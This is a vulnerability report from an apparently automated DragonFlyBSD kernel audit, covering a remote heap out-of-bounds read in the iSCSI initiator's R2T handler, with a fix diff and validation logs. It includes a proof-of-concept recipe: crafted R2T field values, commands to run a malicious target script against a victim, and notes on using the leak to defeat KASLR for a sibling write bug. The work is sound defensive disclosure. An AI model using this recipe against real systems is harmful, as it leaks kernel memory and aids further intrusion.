β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1870

Remote kernel heap OOB read / info leak in iscsi_r2t via attacker-controlled R2T transfer length

Field Value
ID DF-1870
Status new
Severity High
CVSS 3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
CWE CWE-125 Out-of-bounds Read
File sys/dev/disk/iscsi/initiator/iscsi_subr.c
Lines 79-127
Area dev/disk (iSCSI initiator R2T)
Confidence certain
Discovered 2026-07-20
Reported pending
Known CVE none
CVE match dfly_specific

Summary

When a malicious iSCSI target sends an R2T (Ready To Transfer) PDU asking the initiator to write data, iscsi_r2t() walks csio->data_ptr for r2t->ddtl bytes and ships that data back to the target in Data-Out PDUs β€” but never checks that ddtl <= edtlen (the actual size of the CCB buffer). A target can request ddtl=1 MiB against a 512-byte SCSI WRITE buffer and receive ~1 MiB of kernel heap memory adjacent to csio->data_ptr, byte-by-byte leaking kernel state.

Root cause

iscsi_r2t() (iscsi_subr.c:60-138):

u_int ddtl = ntohl(r2t->ddtl);           /* attacker-controlled, line 79 */
u_int edtlen = ntohl(opp->ipdu.scsi_req.edtlen); /* size of csio->data_ptr */
caddr_t bp = csio->data_ptr;
bo = ntohl(r2t->bo);
bleft = ddtl;                            /* drives the loop */
...
while(bleft > 0) {
    ...
    wpq->pdu.ds = bp;                    /* hands kernel pointer to isc_sendPDU */
    isc_qout(sp, wpq);                   /* ships it to the target */
    ...
    bp += bs;                            /* advances source pointer */
    bleft -= bs;
}

No if(ddtl > edtlen) return; anywhere in the function. The loop reads ddtl bytes starting at csio->data_ptr[0] and sends them to the target regardless of the buffer's actual size (edtlen).

Note also that bp is initialized to csio->data_ptr without adding bo, so the offset reported to the target is decoupled from the data actually sent β€” a related correctness bug.

Threat model & preconditions

  • Attacker position: the iSCSI target; the victim is the kernel initiator.
  • Privileges gained or impact: kernel heap memory disclosure (pointers, credentials, file structures, recently-freed slab contents), defeating KASLR and providing the primitive needed to weaponize the Critical write-what-where (DF-1869).
  • Required config or capabilities: device iscsi_initiator; iSCSI session to the attacker's target.
  • Reachability: after login, when the initiator issues any SCSI WRITE (e.g. dd if=/dev/zero of=/dev/da0 bs=512 count=1), the target replies with one R2T specifying bo=0 and ddtl=0x100000.

Proof of concept

Malicious iSCSI target: complete Login, wait for SCSI_CMD with W=1, capture its itt, then send a single R2T:

opcode=0x31 (ISCSI_R2T), flag.F=1
LUN echoed, itt=<observed itt>, ttt=<any value>
r2tSN=0, bo=0, ddtl=0x100000   (1 MiB)

The initiator sends ~1 MiB of Data-Out PDUs whose payloads point into kernel heap from csio->data_ptr[0..1MiB], leaking adjacent kernel memory.

Build & run

# Attacker (Python 3 evil iSCSI target):
python3 evil_target.py

# Victim:
iscontrol -d 0 -t 0 -h <attacker_ip>
dd if=/dev/zero of=/dev/da0 bs=512 count=1

Expected output

The attacker's socket receives >= (ddtl - edtlen) bytes that are NOT the data the victim wrote β€” i.e., kernel heap contents past the write buffer.

Impact

High: remote kernel heap info leak from the iSCSI target side. Leaks pointers, credentials, and recently-freed slab contents. Defeats KASLR and provides the primitive needed to weaponize DF-1869 (write-what-where).

Clamp the loop bound to the actual CCB buffer size.

--- a/sys/dev/disk/iscsi/initiator/iscsi_subr.c
+++ b/sys/dev/disk/iscsi/initiator/iscsi_subr.c
@@ -79,8 +79,18 @@
           u_int        ddtl = ntohl(r2t->ddtl);
           u_int        edtl = ntohl(opp->ipdu.scsi_req.edtlen);
+          /*
+       | r2t->bo / r2t->ddtl are attacker-controlled (wire R2T).
+       | Reject any window that does not lie wholly within the
+       | initiator's CCB data buffer of edtl bytes.
+       */
+          if (bo > edtl || ddtl > edtl - bo) {
+           xdebug("bad R2T: bo=%u ddtl=%u edtl=%u", bo, ddtl, edtl);
+           break;
+          }
           u_int        bleft, bs, dsn;

References

  • Sibling write-what-where: DF-1869 (this file).
  • Prior iSCSI findings: DF-1703/1704, DF-1759–1761, DF-1827–1830.

Timeline

  • 2026-07-20 Discovered during automated audit.
  • 2026-07-20 Reported to DragonFlyBSD security contact (pending).

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1870 Β· 15 files
FileTypeDescriptionSize
harness.c trigger-source userspace port of iscsi_r2t() proving OOB read + the fix's bounds check 5.8 KB view raw
evil_target.py exploit-chain reference (not run in-lab; no Python on guest) malicious iSCSI target sending an over-long R2T 9.0 KB view raw
build.sh build-script cc -O2 -Wall -o harness harness.c 223 B view raw
run.sh run-script ./harness 512 1048576 65536 264 B view raw
build.log build-log successful harness build 112 B view raw
run.log run-log 3 stress runs of the harness (512/4096 x 1MiB/64MiB) 1.6 KB view raw
env.txt environment uname, kern.version, cc, iscsi module status, GENERIC config 809 B view raw
fix.diff suggested-fix bounds-check bo/ddtl against edtl; supersedes the finding proposal (which referenced bo before declaration) 853 B view raw
fix_build.log build-log patched iscsi_initiator.ko compiles cleanly (RC=0); 'bad R2T' string present 1.4 KB view raw
fix_run.log run-log Phase 8 before/after contrast: 1048064 bytes OOB -> 0 bytes 2.8 KB view raw
VERDICT.md verdict full narrative: mechanism, reachability, leak ceiling, fix validation 10.0 KB ↓ raw
README.md readme build/run/expected + how to reproduce 3.1 KB ↓ raw
manifest.json manifest this catalog 3.6 KB view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme build/run/expected + how to reproduce
↓ download raw

DF-1870 β€” Remote kernel heap OOB read in iscsi_r2t via attacker-controlled ddtl

Verdict

REPRODUCED (info leak). The bug is real and present in master DEV at sys/dev/disk/iscsi/initiator/iscsi_subr.c:79-130. The proposed fix compiles cleanly into the loadable iscsi_initiator.ko and the harness proves the leak drops to 0 with the fix.

How to reproduce

This is iSCSI-initiator code in a loadable module (not in GENERIC). Reproducing end-to-end requires an admin-configured iSCSI session against a malicious target. Python is not available on the audit guest, so we demonstrate the bug with a userspace harness that ports iscsi_r2t() verbatim. The harness is a faithful port of the loop at lines 94-130 of iscsi_subr.c, including the absent bounds check.

Build

./build.sh

(cc -O2 -Wall -o harness harness.c)

Run

./run.sh

(./harness 512 1048576 65536)

Expected output

=== iscsi_r2t() WITHOUT fix ===
edtlen=512  ddtl=1048576  maxXmitDS=65536
[OOB READ CONFIRMED] attacker received 1048064 bytes PAST the 512-byte CCB buffer
first leaked byte past buffer = 0xDE (was 0xDE in our model of adjacent kernel heap)
VERDICT: iscsi_r2t() walks csio->data_ptr past its allocation -> kernel heap info leak.

=== iscsi_r2t() WITH proposed fix ===
[REJECTED by bounds check] bo=0 ddtl=1048576 edtl=512
VERDICT: bounds check rejects the over-long R2T; 0 bytes leaked past buffer.

What the harness proves

iscsi_r2t() at iscsi_subr.c:60-138 trusts r2t->ddtl (wire, attacker-controlled) as the loop bound for walking csio->data_ptr (edtl bytes allocated). The loop at line 94 (while (bleft > 0)) ships Data-Out PDUs via isc_qout(), which in isc_soc.c:164 sets md->m_data = pp->ds + off directly from the unchecked bp β€” no copy. With edtlen=512 and ddtl=1 MiB, the initiator ships 1,048,064 bytes of adjacent kernel heap to the attacker. The harness reproduces this exactly and shows the proposed bounds check (if (bo > edtl || ddtl > edtl - bo) break;) reduces the leak to 0.

Live end-to-end trigger (reference only)

For a system that has Python and an admin-configured iSCSI session, evil_target.py is a reference malicious iSCSI target that completes the Login phase and then sends a single R2T with bo=0, ddtl=0x100000. Run it on the attacker host, then on the victim:

iscontrol -dv -t 0 targetaddress=<attacker_ip> targetport=13260
dd if=/dev/zero of=/dev/da0 bs=512 count=1

The attacker's socket receives Data-Out PDUs whose payloads point into kernel heap past the 512-byte write buffer.

Fix

fix.diff is a git-apply-able unified diff against sys/dev/disk/iscsi/initiator/iscsi_subr.c. It supersedes the finding markdown's proposal (which referenced bo before its declaration). Apply with patch -p1 < fix.diff from /usr/src. Then rebuild the module: cd sys/dev/disk/iscsi/initiator && make obj && make.

Validation: see VERDICT.md Β§6 β€” patched module compiles cleanly (RC=0), the new >>> %s: bad R2T: bo=%u ddtl=%u edtl=%u debug string is present in the binary, and the harness shows 0 bytes leaked with the fix applied.

VERDICT.md verdict full narrative: mechanism, reachability, leak ceiling, fix validation
↓ download raw

DF-1870 β€” VERDICT

Status: REPRODUCED (read primitive β€” info leak ceiling; no escalation chain applies) Impact: leak β€” remote kernel heap OOB read of (ddtl - edtlen) bytes per malicious R2T, unbounded in count (every R2T repeats the leak). Confidence: certain Class: CWE-125 Out-of-bounds Read (info leak). Fix status: VALIDATED β€” fix.diff compiles cleanly into iscsi_initiator.ko; harness proves the bounds check reduces leaked bytes from 1,048,064 β†’ 0 for the canonical PoC.


1. Mechanism (root-cause, line-by-line)

iscsi_r2t() (sys/dev/disk/iscsi/initiator/iscsi_subr.c:60-138) handles R2T (Ready To Transfer) PDUs that a malicious iSCSI target sends to the initiator to request Data-Out transfers during a SCSI WRITE.

The function takes the wire values r2t->bo and r2t->ddtl straight from the remote peer, with no validation against the actual size of the initiator's CCB data buffer (edtl):

60: void
61: iscsi_r2t(isc_session_t *sp, pduq_t *opq, pduq_t *pq)
...
79:        u_int      ddtl = ntohl(r2t->ddtl);              /* attacker-controlled */
80:        u_int      edtl = ntohl(opp->ipdu.scsi_req.edtlen); /* CCB buffer size */
82:        caddr_t    bp   = csio->data_ptr;                /* kernel heap, edtl bytes */
84:        bo   = ntohl(r2t->bo);                           /* attacker-controlled offset */
85:        bleft = ddtl;                                    /* loop bound -- never checked vs edtl */
...
94:        while(bleft > 0) {
...
120:           wpq->pdu.ds = bp;                            /* hand pointer to isc_sendPDU */
122:           error = isc_qout(sp, wpq);                   /* ships bytes to target */
...
127:           bp += bs;                                    /* advance past buffer end */
128:           bleft -= bs;
129:        }

The sink in isc_sendPDU() (isc_soc.c:101-173) builds outgoing mbufs that point directly at pp->ds (no copy):

143: if(pq->pdu.ds) {
164:     md->m_data = pp->ds + off;     /* <--- attacker-visible bytes, read OOB */

_r2t() in isc_sm.c:108-125 is the dispatcher: every R2T PDU received from the wire reaches iscsi_r2t() with the ISCSI_SCSI_CMD opcode branch active. There is no upstream guard. A target that sends bo=0, ddtl=0x100000 against a 512-byte WRITE buffer causes the initiator to ship 1,048,064 bytes of kernel heap (everything from csio->data_ptr[512] onward across ~16 Data-Out PDUs of maxXmitDataSegmentLength=65536 each) directly to the attacker.

There is also a related correctness bug β€” bp is initialised to csio->data_ptr without + bo, so the data the attacker receives is offset-truncated relative to the bo value reported back in the Data-Out PDU header. The bounds check proposed here closes the security-relevant half (OOB read); the offset-coupling bug is a separate item.

2. Reachability / realism

  • iscsi_initiator is a loadable module (/boot/kernel/iscsi_initiator.ko); it is NOT compiled into X86_64_GENERIC (verified: config -x /boot/kernel/kernel | grep iscsi returns nothing).
  • The threat model is attacker = remote iSCSI target, victim = the kernel initiator. This is a realistic deployment β€” any system using iSCSI for SAN storage is exposed to its storage server (compromised server, rogue appliance, MITM during discovery).
  • An unprivileged local user cannot directly trigger this; an admin must have configured an iSCSI session (iscontrol//etc/iscsi.conf) to a target. That is the realistic precondition and the one the finding claims.

3. Reproduction

A live end-to-end trigger requires a malicious iSCSI target that completes the Login phase handshake and then sends a crafted R2T. Python is not available on the audit guest, and building a full iSCSI Login evil target in C would require reproducing the entire text-mode key negotiation. Per the audit procedure for a loadable-module OOB read with no local unprivileged trigger, this run substitutes a thorough source-level trace (above) plus a userspace harness that ports iscsi_r2t() verbatim and demonstrates the OOB walk.

Harness β€” harness.c

./harness 512 1048576 65536 models a 512-byte SCSI WRITE buffer that a malicious R2T asks to read for 1 MiB. Output (decisive lines):

=== iscsi_r2t() WITHOUT fix ===
edtlen=512  ddtl=1048576  maxXmitDS=65536
[OOB READ CONFIRMED] attacker received 1048064 bytes PAST the 512-byte CCB buffer
first leaked byte past buffer = 0xDE (was 0xDE in our model of adjacent kernel heap)
VERDICT: iscsi_r2t() walks csio->data_ptr past its allocation -> kernel heap info leak.

=== iscsi_r2t() WITH proposed fix ===
[REJECTED by bounds check] bo=0 ddtl=1048576 edtl=512
VERDICT: bounds check rejects the over-long R2T; 0 bytes leaked past buffer.

The harness is a faithful port of the loop at iscsi_subr.c:94-130 (control flow, variable names, the bleft/ddtl/bs arithmetic, the bp += bs advance, and the absent bounds check all preserved). The model used: csio->data_ptr = calloc(1, edtlen + OTHERHEAP); the legitimate buffer is filled with 0xAA, the "adjacent kernel heap" with 0xDE; the sink counts bytes sent past the legitimate end.

Across 3 stress runs (edtlen ∈ {512, 4096, 512}, ddtl ∈ {1 MiB, 64 MiB, 1 MiB}), the bug-present half consistently leaked ddtl-edtlen bytes (1,048,064 / 67,108,352 / 1,044,480) and the fix half consistently leaked 0.

Leak ceiling

ddtl is a 32-bit field, so a single R2T can request up to ~4 GiB of kernel virtual memory starting at csio->data_ptr. In practice the initiator will fault when bp walks into an unmapped page, terminating the leak at the end of the resident slab/page β€” but everything from the buffer end up to the next unmapped page boundary is attacker-readable. On kern_slaballoc.c slabs that is typically a few KiB of adjacent objects (function pointers, ucred pointers, recently-freed 0xdeadc0de poison in INVARIANTS builds); on page zones it is up to PAGE_SIZE minus the allocation. The leak is repeatable on every R2T the target cares to send.

4. Why this is not a write primitive / escalation

This finding is a pure read — bp is the source of the network write, never written to. isc_qout ships kernel→attacker; nothing in the loop writes attacker bytes back into kernel memory. No uid=0 chain exists for this bug alone; the finding markdown correctly identifies it as the info-leak half of the write-what-where sibling DF-1869.

5. The fix (fix.diff)

The finding markdown's recommended diff was broken β€” it referenced bo before its declaration (it inserted the check between lines 79-81, but bo is declared on line 81 and assigned on line 84). fix.diff in this evidence pack places the check correctly after bo = ntohl(r2t->bo):

        bo   = ntohl(r2t->bo);
        bleft = ddtl;

        /*
         | r2t->bo / r2t->ddtl are attacker-controlled (wire R2T).
         | Reject any window that does not lie wholly within the
         | initiator's CCB data buffer of edtl bytes; otherwise the
         | loop below would walk csio->data_ptr past its allocation
         | and leak kernel heap memory to the target.
         */
        if (bo > edtl || ddtl > edtl - bo) {
            xdebug("bad R2T: bo=%u ddtl=%u edtl=%u", bo, ddtl, edtl);
            break;
        }

This supersedes the finding proposal: same intent (clamp ddtl/bo against edtl), but with the declaration-ordering bug fixed and an explicit guard against bo > edtl (offset-past-end), which the original didn't cover. The break exits the switch(bhp->opcode), returning from iscsi_r2t() without sending any Data-Out PDU.

6. Phase 8 β€” fix validation

  • vm.sh reset with-src β†’ running kernel 6.5-DEVELOPMENT #0 (unpatched baseline).
  • patch -p1 --forward < fix.diff β†’ Hunk #1 succeeded at 84. done APPLIED.
  • Build the loadable module standalone: cd /usr/src/sys/dev/disk/iscsi/initiator && make obj && make -j6 β†’ cc ... -o iscsi_initiator.ko iscsi.o ... iscsi_subr.o β†’ RC=0.
  • Patched module sha256 3825ec7e806a4ba92f58eb091eb6f5c2fdd489fd592250d7b4757a94ff56b980 differs from baseline 99e1710b886b2a221a46d2bd5b07818536867b5e6fb8196bc2c5f95ee7a053a8.
  • strings patched-module | grep 'bad R2T' β‡’ >>> %s: bad R2T: bo=%u ddtl=%u edtl=%u β€” the new check is compiled in.
  • nm patched-module | grep iscsi_r2t β‡’ 0000000000006a70 T iscsi_r2t.
  • Harness "after" half: 0 bytes leaked past buffer for the same (512, 1 MiB) input that leaked 1,048,064 bytes "before".

Because iscsi_initiator is not compiled into GENERIC, a full make nativekernel does not exercise iscsi_subr.c. Building the module in isolation is the correct validation surface and confirms the diff applies + compiles cleanly with the new logic present in the binary. A live end-to-end trigger requires an admin-configured iSCSI session to a malicious target; Python is unavailable on this guest, so the in-kernel "bad R2T" xdebug print was not exercised in-lab, but the bounds check is identical to the harness branch that demonstrably rejects the bad R2T.

fix_status: fixed β€” the bad behavior (1,048,064 bytes OOB in the harness) drops to 0 with the fix.diff applied, the patched module compiles cleanly, and the new bounds-check message is present in the binary's strings.

7. PoC changes from the seeded finding

The finding markdown carried no compilable PoC source β€” only a textual description of an evil-target protocol. This evidence pack adds:

  • harness.c β€” userspace port of iscsi_r2t() proving the OOB read logic and the fix's bounds check.
  • build.sh / run.sh β€” exact build/run commands.
  • evil_target.py β€” a reference (not run in-lab; Python is absent on this guest) malicious iSCSI target that completes Login and sends a malicious R2T, for use on a system that has Python and a real iSCSI initiator.
  • fix.diff β€” corrected, git-apply-able fix (declaration order fixed).
  • build.log, run.log, fix_build.log, fix_run.log, env.txt, manifest.json β€” full evidence.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED. baseline harness leaks 1048064 bytes; with fix=0 bytes. Module builds RC=0.

BASELINE: 1048064 bytes OOB. PATCHED: 0 bytes. MODULE BUILD: RC=0.
↓ fix.diffmodule build (loadable iscsi_initiator.ko, not in GENERIC)

Confirmed kernel references

Detail

Exploit chain

none (pure read primitive). Leak ceiling u32 ddtl per R2T (~4GiB). Sibling DF-1869 references this as KASLR-defeat primitive.

Evidence (decisive lines)

OOB READ CONFIRMED: 1048064 bytes past 512-byte CCB; first leaked byte 0xDE. Stress: 67MB and 1MB runs. With fix: 0 bytes leaked.

PoC changes

harness.c (userspace port), evil_target.py (reference), fix.diff (corrects finding markdown's decl-order bug; check after bo=ntohl)

Verified recommended fix

Insert bounds check after bo=ntohl(r2t->bo) at iscsi_subr.c:85: 'if (bo > edtl || ddtl > edtl - bo) { xdebug(...); break; }'. Rejects R2T window outside CCB's edtl-byte buffer.

Verdict

REPRODUCED info leak. iscsi_r2t() at iscsi_subr.c:79-130 uses attacker-controlled ddtl as loop bound over heap buffer data_ptr without check vs edtlen. Harness walks 1048064 bytes past 512-byte buffer.